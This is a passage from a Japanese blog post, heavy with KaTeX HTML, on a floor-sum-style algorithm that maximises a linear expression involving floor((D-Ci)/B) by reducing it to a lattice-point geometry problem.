style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x2309;</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord">&#x2212;</span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">+</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mbin mtight">&#x2212;</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span></span></span></span> &#x3068;&#x306A;&#x308B;&#x305F;&#x3081;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6943em;vertical-align:-0.011em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x21A6;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">&#x2212;</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x21A6;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> &#x3068;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x3057;&#x3066;&#x3082;&#x554F;&#x984C;&#x306A;&#x3044;&#x3053;&#x3068;&#x304C;&#x5206;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel" style="color:#df0030;">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x306F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> &#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> &#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x308B;&#x3053;&#x3068;&#x3067;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel" style="color:#df0030;">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306B;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x306F;&#x3001;&#x4E0A;&#x8A18;&#x306E;&#x904E;&#x7A0B;&#x3088;&#x308A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span></span></span></span> &#x306F;&#x5358;&#x8ABF;&#x6E1B;&#x5C11;&#x306A;&#x306E;&#x3067;&#x3001;&#x5168;&#x4F53;&#x3068;&#x3057;&#x3066;&#x3082;&#x5358;&#x8ABF;&#x6E1B;&#x5C11;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3088;&#x3063;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x6642;&#x306E;&#x5024;&#x304C;&#x7B54;&#x3048;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3088;&#x3063;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x3057;&#x3066;&#x3082;&#x554F;&#x984C;&#x306A;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<p>&#x4EE5;&#x4E0A;&#x3088;&#x308A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel" style="color:#df0030;">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x3057;&#x3066;&#x3082;&#x554F;&#x984C;&#x306A;&#x3044;&#x3053;&#x3068;&#x304C;&#x793A;&#x305B;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x305D;&#x3057;&#x3066;&#x3001;floor sum&#x306E;&#x6642;&#x3068;&#x540C;&#x69D8;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x3001; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel" style="color:#df0030;">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<p>&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x3001;&#x5BFE;&#x8C61;&#x306E;&#x5F0F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.3557em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight">i</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.8395em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord"><span class="delimsizing size3">)</span></span><span class="mopen">{</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mclose">}</span></span></span></span> &#x3068;&#x306A;&#x3063;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x306B;&#x6CE8;&#x610F;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&#x3053;&#x3053;&#x3067;&#x3001;&#x6B21;&#x306E;&#x8A00;&#x3044;&#x63DB;&#x3048;&#x3092;&#x884C;&#x3044;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span></span></span></span> &#x306F;&#x3001;&#x300C;&#x5E73;&#x9762;&#x4E0A;&#x306E;&#x683C;&#x5B50;&#x70B9; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span> &#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span> &#x3092;&#x6E80;&#x305F;&#x3059;&#x3068;&#x304D;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x306E;&#x53D6;&#x308A;&#x3046;&#x308B;&#x5024;&#x306E;&#x6700;&#x5927;&#x5024;&#x300D;&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>
&#x5B9F;&#x969B;&#x306B;&#x5177;&#x4F53;&#x7684;&#x306B;&#x70B9; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mopen">(</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span></span></span></span> &#x3092;&#x56F3;&#x793A;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x4EE5;&#x4E0B;&#x306E;&#x56F3;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">16</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">79</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span> &#x3067;&#x3042;&#x308A;&#x3001;&#x8D64;&#x7DDA;&#x304C;&#x76F4;&#x7DDA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span> &#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-14-142946.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1767" height="817"></figure><!--kg-card-begin: markdown--><p>&#x6700;&#x5927;&#x5316;&#x3059;&#x308B;&#x5BFE;&#x8C61;&#x306E;&#x5F0F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x3055;&#x3089;&#x306B;&#x8A00;&#x3044;&#x63DB;&#x3048;&#x308B;&#x3068;&#x3001;&#x3053;&#x306E;&#x554F;&#x984C;&#x306F;&#x3001;<strong>&#x300C;&#x70B9; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span> &#x304C;&#x4E0A;&#x8A18;&#x306E;&#x753B;&#x50CF;&#x306E;&#x9752;&#x3044;&#x70B9;&#x4E0A;&#x306E;&#x307F;&#x306B;&#x5B58;&#x5728;&#x3059;&#x308B;&#x3068;&#x304D;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x306E;&#x6700;&#x5927;&#x5024;&#x3092;&#x6C42;&#x3081;&#x308B;&#x554F;&#x984C;&#x300D;&#x306B;&#x5E30;&#x7740;&#x3055;&#x305B;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</strong><br>
&#x4EE5;&#x4E0B;&#x3067;&#x306F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> &#x3068;&#x7F6E;&#x304D;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> &#x306E;&#x6700;&#x5927;&#x5024;&#x3092;&#x6C42;&#x3081;&#x3066;&#x3044;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x307E;&#x307E;&#x3067;&#x306F;&#x70B9;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x8CA0;&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x304C;&#x3042;&#x308A;&#x3001;&#x6271;&#x3044;&#x3065;&#x3089;&#x3044;&#x305F;&#x3081;&#x3001;&#x6700;&#x3082; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x306E;&#x5927;&#x304D;&#x3044;&#x70B9;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x3061;&#x3087;&#x3046;&#x3069; <span class="katex"><span class="katex-html" 